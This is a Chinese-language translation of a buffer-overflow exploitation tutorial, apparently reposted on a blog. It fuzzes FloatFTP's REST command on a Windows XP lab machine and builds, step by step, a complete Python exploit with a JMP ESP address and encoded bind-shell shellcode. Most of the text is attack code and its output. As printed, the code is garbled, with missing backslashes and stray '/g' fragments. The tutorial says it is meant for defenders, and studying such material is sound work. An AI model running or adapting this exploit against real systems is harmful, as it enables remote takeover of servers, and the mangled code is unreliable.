摘要:按鍵或是工具欄上的播放符號,讓應用程序運行。單擊器的工具欄上的,在存在的中查找指令,之后雙擊一個,右鍵單擊搜索,選擇,之后鍵入。
在我第一次不得不處理緩沖區溢出漏洞時,我真是一竅不通啊!雖然我可以建立網絡和配置防火墻、代理服務器,不費吹灰之力的入侵檢測系統,但是對于利用代碼來說,我還是第一次接觸到。然而,正如處理任何復雜或是困難的概念一樣,最好的辦法就是把它分解成我們了解的多個部分。
在研究和學習教程后,一些概念和工具開始變得不那么令人困惑了,并且逐漸能夠明白一些細節了。然后,我開始在實驗室現有已掌握可重建的應用程序中,尋找簡單的緩存漏洞。只有在不斷地實驗,各種概念會一個個出現————整個進程,無論是獨立的部分還是整體————都會一點點呈現出來。
本教程將會為防御者描述一些基本概念,包括一個攻擊者經歷漏洞開發過程需要的工作量和攻擊者將要面對的編寫惡意代碼攻擊特定漏洞的風險。
如今的攻擊者既有決心也有技術,并且知道對于負責計算機和網絡的人來說什么實際操作是最關鍵的,防御者對敵人的動機和技術了解的越多,他就越容易制定有效的防御措施。
我要經歷幾個漏洞挖掘的階段才能找到一個有效漏洞,首先,我們會fuzz我們的目標應用程序,通過一個有趣的方式使它崩潰,通過Immunity?debugger來監控崩潰的過程,在Windows系統的內存中找到最易受攻擊的溢出的shellcode。隨后,我們將要創造一個漏洞來傳遞shellcode,從而攻擊遠程系統。
需要的軟件/設置攻擊系統:Backtrack Linux(我用的R3)
開發/受害系統:Windows?xp?sp3英文版
Immunity?debugger:安裝在Windows?xp系統上
FloatFTP:我們要利用的應用程序
讓我們正式開始吧!
Fuzzing“Fuzzing”是發送無效或畸形的、過多的和隨機的數據到計算機程序試圖使系統崩潰或出現意想不到現象的測試手段。Fuzzing用于測試系統和程序的安全。
雙擊float?FTP來執行開始:
通過運行cmd提示符來運行和監聽21端口和鍵入:
netstat -an | find "21"
啟動Immunity?debugger,單擊“file”,再單擊“attach”,選擇FTP服務器過程,單擊“attach”。
一旦應用程序在調試器上加載時,調試器會處于暫定狀態。按F9鍵或是Immunity?debugger工具欄上的播放符號,讓應用程序運行。這個目標應用程序將會被調試器監控。
現在我們將開始配置FTP?fuzzer,首先,Fuzz應用程序來使系統崩潰,然后使用調試器來采集和分析崩潰數據。
下面的代碼是一個用python腳本語言編寫的簡單的FTP?fuzzer,當執行時,fuzzer會發送標準的FTP命令“REST”,并且附加越來越多的“A”到每條指令。
#!/usr/bin/python import socket # Create an array of buffers, from 20 to 2000, with increments of 20. buffer=["A"] counter=20 while len(buffer) <= 30: buffer.append("A"*counter) counter=counter+100 # Define the FTP commands to be fuzzed commands=["REST"] # Run the fuzzing loop for command in commands: for string in buffer: print "Fuzzing" + command + " with length:" +str(len(string)) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect(("10.10.10.32",21)) # Target IP address s.recv(1024) s.send("USER ftp ") # login user s.recv(1024) s.send("PASS ftp ") # login password s.recv(1024) s.send(command + " " + string + " ") # buffer s.recv(1024) s.send("QUIT ") s.close()
我們可以從例子(http://www.exploit-db.com/exploits/17546/)中知道FTP服務器的REST命令就是一個易受攻擊的緩沖區溢出,FTP的REST功能將會成為fuzzer的目標。
在攻擊系統的桌面上創建一個文件夾來存放fuzzing和漏洞代碼。使用“CD”到這個目錄,運行“nano?fuzzer.py”。這會打開一個空白的nano文本編輯器,復制和粘貼上面的代碼到文件中。
利用正在系統上運行的floatFTP的系統IP地址改變目標IP地址,按CTRL+O來保存文件,按CTRL+X來退出nano,接下來,通過鍵入來創建可執行文件。
chmod 755 fuzzer.py
執行“/fuzzer.py”,幾秒鐘后,你能夠看到fuzzer停止了,并且顯示目標應用程序崩潰。
當你在xp系統上看到這個調試器,你會看到Immunity?debugger已經捕獲了破壞的數據和暫停的應用程序。如果你看EIP(擴展指令指針)寄存器時,你就會看到在41次內fuzzer緩沖區覆蓋寄存器,fuzzer緩沖區也會涌入ESP(擴展堆棧指針)寄存器(00AEFC2C)。我們的首要目的是為了通過CPU執行的指令代碼再次控制EIP寄存器,把它設置成我們所選擇的值。
漏洞挖掘用nano創建一個新的文件,輸入下面的代碼。這是挖掘的開始,將文件保存為skeleton.py并執行(輸入chmod?755?skeleton.py)
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) buffer = "x41" * 1000 print " Sending evil buffer..." s.connect(("10.10.10.32",21)) data = s.recv(1024) s.send("USER ftp" +" ") data = s.recv(1024) s.send("PASS ftp" +" ") data = s.recv(1024) s.send("REST" +buffer+" ") s.close()
在攻擊系統的Linux終端上運行skeleton.py。
現在,當你在Immunity?debugger上檢查EIP寄存器時,你會看到緩沖區代碼0×41414141覆蓋了寄存器,并溢出到了ESP寄存器中。
下一步就是要確定我們要插入代碼的空間到底有多大,到現在為止,我們已經使用了一組固定的重復字符來確定我們的目標的內存地址。我們現在將要使用metasploit的pattern_create和pattern_offset工具來幫助我們發現究竟有多大的空間,我們以什么特定的內存地址為目標。首先,用1000個字符來生成一個不重復的字符串。
使用cd命令到/opt/metasploit/msf3/tools并運行:
./pattern\_create.rb 1000?
創建一個1000字符的字符串,用它來取代以前緩沖架構漏洞中的1000個字符“A”。
注釋掉以前的緩沖區漏洞,像下面一樣創建一個新的緩沖線,在雙引號中為新的緩沖區。
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #buffer = "x41" * 1000 buffer = "Paste pattern_create buffer here" print " Sending evil buffer..." s.connect(("10.10.10.32",21)) data = s.recv(1024) s.send("USER ftp" +" ") data = s.recv(1024) s.send("PASS ftp" +" ") data = s.recv(1024) s.send("REST" +buffer+" ") s.close()
在Immunity?debugger下重啟FTP服務器(單擊“debug”,之后重啟或按CTRL+F2),啟動FTP服務器的架構漏洞。按照先前的做法一定崩潰了,但是現在EIP和ESP緩沖區中有metasploit創建的格式,把這些值復制下來,我們將用它們來計算EIP和ESP寄存器的字節中的差異。
在本例,EIP和ESP的值為:
EIP:?69413269? ESP:?00AEFC2C?(69413669)
之后,運行:
./pattern\_offset.rb 69413269
接著
./pattern\_offset.rb 69413669
輸出告訴我們247個字節以后的EIP寄存器開始被緩沖區覆蓋,這就意味著EIP中248—251字節是我們想要的目標。
CPU通過EIP寄存器中的值知道下一個要運行的指令,在內存地址中運行這些當前的指令,在EIP的內存位置中使用JMP?ESP指令使CPU來執行指令和跳到ESP寄存器中執行駐留在該地址的內存中的指令。我們的目的就是在EIP中使用JMP?ESP指令,這樣我們就能控制執行命令并把我們的代碼轉變到ESP寄存器中。
兩個寄存器之間有12個字節,于是我們用8個字節來填充我們的緩沖區,縮小間距和連接到ESP寄存器。
我們使用保持1000字節邊界的框架漏洞來調整緩沖區:
buffer = "/gx41"*247 + "x42x42x42x42" + "x43"*8 + "/gx44"*741 z
例如:?[buffer]<>[eip?data]<>[padding]<>[shellcode?placeholder]
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #buffer = x41 * 1000 #buffer = "pattern_create buffer" buffer = "x41"*247 + "x42x42x42x42" + "x43"*8 + "x44"*741 print " Sending evil buffer..." s.connect(("10.10.10.32",21)) data = s.recv(1024) s.send("USER ftp" +" ") data = s.recv(1024) s.send("PASS ftp" +" ") data = s.recv(1024) s.send("REST" +buffer+" ") s.close()
在Immunity?debugger中重啟FTP服務器,按播放鍵取消暫停的應用程序。
再次運行挖掘,然后在Immunity?debugger器中右擊ESP寄存器的窗格選擇“follow?in?dump”。如果一切排列正確的話,EIP寄存器中將會存儲42424242和DS(x44)將會在ESP寄存器內存地址前面從EIP到ESP的空間中填充8 CS。
很棒。在Immunity?debugger器中,復制DS的開始到結束的ESP的內存地址。然后打開windows計算器,轉換到16進制的模式,把數值變成10進制。
這里是這樣的:
開始:00AEFC2C?=?11467820
結束:00AEFF0C?=?11468556
用結束值減去開始值11468556?-?11467820?=?736,我們就知道有736個字節來儲存代碼。
現在,我們有了目標內存地址和指令,我們需要一種方法獲得從EIP寄存器到ESP寄存器的指令,為了做到這一點,我們可以在windows操作系統的DLL中使用現有的JMP?ESP指令。
單擊Immunity?debugger器的工具欄上的“e”,在存在的windows?dll中查找JMP?ESP指令,之后雙擊一個DLL,右鍵單擊“搜索”,選擇“command”,之后鍵入“JMP?ESP”。
我們在windows系統文件kernel32.dll系統文件中發現了我們要找的指令,然后記下JMP?ESP的內存地址。在本例中,是7C86467B,注意,如果你正在使用任何其他操作系統,而不是32位的windows?xp?sp3英文版,這個指令駐留在不同的位置。你要是用的是其他系統,在另外的DLL中查找JMP?ESP指令,在剩下的教程中改變內存地址。
我們用一個新的緩沖區來更新我們的骨架漏洞,注釋掉最后的一個緩沖區聲明,用下面的代碼替代它:
buffer = "/gx41"*247 + "x7Bx46x86x7C" + "x42"*8 + "/gxCC"*741
因為小尾數CPU架構,JMP?ESP的地址必須在緩沖區中向后格式化,所以7C86467B變成了x7Bx46x86x7C。我們也要增加8Bs作為填充("x43"*8)和改變最后一個值為xCC*741?(742?CC"s),這將會作為我們的代碼的占位。一切正常,CCs應該在我們的目標ESP內存地址的開始,00AEFC2C,我們應該在EIP寄存器中找到我們的JMP?ESP指令(7C86467B)。
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #buffer = x41 * 1000 #buffer = "pattern_create buffer" #buffer = "x41"*247 + "x44x44x44x44" + "x43"*8 + "x44"*741 # Windows XP SP3 kernel32.dll JMP ESP buffer = "x41"*247 + "x7Bx46x86x7C" + "x42"*8 + "xCC"*741 print " Sending evil buffer..." s.connect(("10.10.10.32",21)) data = s.recv(1024) s.send("USER ftp" +" ") data = s.recv(1024) s.send("PASS ftp" +" ") data = s.recv(1024) s.send("REST" +buffer+" ") s.close()
在Immunity?debugger器中單擊“debug”之后“restar”來重啟FTPsever.exe,不要忘記按F9或是在調試器中單擊播放按鈕來取消暫停的應用程序。
在Immunity?debugger器工具欄單擊箭頭指向的三個點,進入JMP?ESP內存所在的位置:7C86467B(在這個例子中),單擊“OK”,然后按下F2在調試中設置斷點。當訪問JMP?ESP地址時,調試將會暫定,讓我們來查看寄存器和驗證我們的目標EIP和ESP的正確性。
再次運行漏洞,并在調試器中查看輸出,這看起來應該和下面的類似:
EIP中包含JMP?ESP的目標地址(7C86467B)和我們的CCs在ESP(00AEFC2C)開始?,F在,我們控制執行命令,剩下的就是用shellcode替換掉占位的CCs。
shellcode和漏洞我們將使用metasploit的msfpayload來創建payload。有一點要注意:因為我們傳遞的都是字符串,我們必須要遵守字符限制的FTP協議。這就意味著沒有空,返回,換行,或是@符號,他們用16進制的表示為x00,?x0d,?x0a,?0×40。"x40xffx3dx20"可以阻止shellcode執行。
下面是用msfpayload命令創建的shellcode,當在目標系統中被執行時,TCP999端口將會被打開。Msfencode語句確保在shellcode中沒有壞的字符能阻止上面的執行。
msfpayload windowsgshell\_bind\_tcp EXITFUNC=seh LPORT=999 R | msfencode -b "/gx40x0Ax00x0Dxffx0dx3dx20"
這個結果是一個386字節的payload:
[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1) buf = "xbax2ex27xc2x55xdbxdcxd9x74x24xf4x5fx2bxc9" + "xb1x56x31x57x13x83xefxfcx03x57x21xc5x37xa9" + "xd5x80xb8x52x25xf3x31xb7x14x21x25xb3x04xf5" + "x2dx91xa4x7ex63x02x3fxf2xacx25x88xb9x8ax08" + "x09x0cx13xc6xc9x0exefx15x1dxf1xcexd5x50xf0" + "x17x0bx9axa0xc0x47x08x55x64x15x90x54xaax11" + "xa8x2excfxe6x5cx85xcex36xccx92x99xaex67xfc" + "x39xcexa4x1ex05x99xc1xd5xfdx18x03x24xfdx2a" + "x6bxebxc0x82x66xf5x05x24x98x80x7dx56x25x93" + "x45x24xf1x16x58x8ex72x80xb8x2ex57x57x4ax3c" + "x1cx13x14x21xa3xf0x2ex5dx28xf7xe0xd7x6axdc" + "x24xb3x29x7dx7cx19x9cx82x9exc5x41x27xd4xe4" + "x96x51xb7x60x5bx6cx48x71xf3xe7x3bx43x5cx5c" + "xd4xefx15x7ax23x0fx0cx3axbbxeexaex3bx95x34" + "xfax6bx8dx9dx82xe7x4dx21x57xa7x1dx8dx07x08" + "xcex6dxf7xe0x04x62x28x10x27xa8x5fx16xe9x88" + "x0cxf1x08x2fxb1xe6x84xc9xdfxf8xc0x42x77x3b" + "x37x5bxe0x44x1dxf7xb9xd2x29x11x7dxdcxa9x37" + "x2ex71x01xd0xa4x99x96xc1xbbxb7xbex88x84x50" + "x34xe5x47xc0x49x2cx3fx61xdbxabxbfxecxc0x63" + "xe8xb9x37x7ax7cx54x61xd4x62xa5xf7x1fx26x72" + "xc4x9exa7xf7x70x85xb7xc1x79x81xe3x9dx2fx5f" + "x5dx58x86x11x37x32x75xf8xdfxc3xb5x3bx99xcb" + "x93xcdx45x7dx4ax88x7axb2x1ax1cx03xaexbaxe3" + "xdex6axc4x12xd2x66x51x8dx87xcax3fx2ex72x08" + "x46xadx76xf1xbdxadxf3xf4xfax69xe8x84x93x1f" + "x0ex3ax93x35"
注釋掉前面緩沖區聲明和添加新的修改聲明:
buffer = "x41"*247 + "x7Bx46x86x7C" + "x42"*8 + shellcode + "xCC"*373
在處理shellcode運行的問題,雙重檢查所有參數包括“壞字符”之后,我就決定添加NOP指令到緩沖區在shellcode之前。在計算機的CPU中,一個NOP?slide是一系列的NOP(無操作)指令(操作碼0×90),這就意味著“滑動”CPU的指令執行流程到它的最終目標。當一切在一個漏洞中正常排列,NOP指令是有利的,但是shellcode執行失敗。
我又一次修改緩沖區在shellcode前添加了16個NOP:
buffer = "/gx41"*247 + "x7Bx46x86x7C" + "x42"*8 + "/gx90"*16 + shellcode + "xCC"*357
例如:?[buffer]<>[EIP?-?JMP?ESP]<>[EIP?to?ESP?padding]<>[NOPs]<>[shellcode]<>[Padding]
最終完整的漏洞:
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #buffer = "x41" * 1000 #buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B" #buffer = "x41"*247 + "x42x42x42x42" + "x43"*8 + "x44"*741 ## msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=999 R | msfencode -b "x40x0Ax00x0D" 368 bytes shellcode = ("xbax2ex27xc2x55xdbxdcxd9x74x24xf4x5fx2bxc9" "xb1x56x31x57x13x83xefxfcx03x57x21xc5x37xa9" "xd5x80xb8x52x25xf3x31xb7x14x21x25xb3x04xf5" "x2dx91xa4x7ex63x02x3fxf2xacx25x88xb9x8ax08" "x09x0cx13xc6xc9x0exefx15x1dxf1xcexd5x50xf0" "x17x0bx9axa0xc0x47x08x55x64x15x90x54xaax11" "xa8x2excfxe6x5cx85xcex36xccx92x99xaex67xfc" "x39xcexa4x1ex05x99xc1xd5xfdx18x03x24xfdx2a" "x6bxebxc0x82x66xf5x05x24x98x80x7dx56x25x93" "x45x24xf1x16x58x8ex72x80xb8x2ex57x57x4ax3c" "x1cx13x14x21xa3xf0x2ex5dx28xf7xe0xd7x6axdc" "x24xb3x29x7dx7cx19x9cx82x9exc5x41x27xd4xe4" "x96x51xb7x60x5bx6cx48x71xf3xe7x3bx43x5cx5c" "xd4xefx15x7ax23x0fx0cx3axbbxeexaex3bx95x34" "xfax6bx8dx9dx82xe7x4dx21x57xa7x1dx8dx07x08" "xcex6dxf7xe0x04x62x28x10x27xa8x5fx16xe9x88" "x0cxf1x08x2fxb1xe6x84xc9xdfxf8xc0x42x77x3b" "x37x5bxe0x44x1dxf7xb9xd2x29x11x7dxdcxa9x37" "x2ex71x01xd0xa4x99x96xc1xbbxb7xbex88x84x50" "x34xe5x47xc0x49x2cx3fx61xdbxabxbfxecxc0x63" "xe8xb9x37x7ax7cx54x61xd4x62xa5xf7x1fx26x72" "xc4x9exa7xf7x70x85xb7xc1x79x81xe3x9dx2fx5f" "x5dx58x86x11x37x32x75xf8xdfxc3xb5x3bx99xcb" "x93xcdx45x7dx4ax88x7axb2x1ax1cx03xaexbaxe3" "xdex6axc4x12xd2x66x51x8dx87xcax3fx2ex72x08" "x46xadx76xf1xbdxadxf3xf4xfax69xe8x84x93x1f" "x0ex3ax93x35") ## Windows XP SP3 kernel32.dll 7C86467B JMP ESP #buffer = "x41"*247 + "x7Bx46x86x7C" + "x42"*8 + "xCC"*741 buffer = "x41"*247 + "x7Bx46x86x7C" + "x42"*8 + "x90"*16 + shellcode + "xCC"*357 print " Sending evil buffer..." s.connect(("10.10.10.32",21)) data = s.recv(1024) s.send("USER ftp" +" ") data = s.recv(1024) s.send("PASS ftp" +" ") data = s.recv(1024) s.send("REST" +buffer+" ") s.close()
關閉XP系統上的調試器,重新啟動FloatFTP。在攻擊系統上啟動漏洞攻擊,然后遠程連接到FTP服務器的999端口,一起正常,你將會以一個管理員的身份(或是任何一個打開FloatFTP進程的)收到一個shell。
正如你看到的,現在這個系統已經被滲透,并且受攻擊者控制。
原文 Understanding Buffer Overflow Exploits
翻譯 趙陽
文章版權歸作者所有,未經允許請勿轉載,若此文章存在違規行為,您可以聯系管理員刪除。
轉載請注明本文地址:http://specialneedsforspecialkids.com/yun/11083.html
摘要:二漏洞成因分析在協議中,最小的發送數據包的單位是一個。這次漏洞的起因是對于屬于同一個的的字段沒有校驗前后是否一致,導致寫入堆的時候緩沖區溢出??梢圆渴鹪诙焉?,然后在程序中尋找合適的把棧指針遷移到堆上就行了。 作者:棧長@螞蟻金服巴斯光年安全實驗室 一、前言FFmpeg是一個著名的處理音視頻的開源項目,使用者眾多。2016年末paulcher發現FFmpeg三個堆溢出漏洞分別為CVE-2...
閱讀 1846·2021-11-25 09:43
閱讀 3688·2021-11-24 10:32
閱讀 1076·2021-10-13 09:39
閱讀 2328·2021-09-10 11:24
閱讀 3344·2021-07-25 21:37
閱讀 3464·2019-08-30 15:56
閱讀 858·2019-08-30 15:44
閱讀 1448·2019-08-30 13:18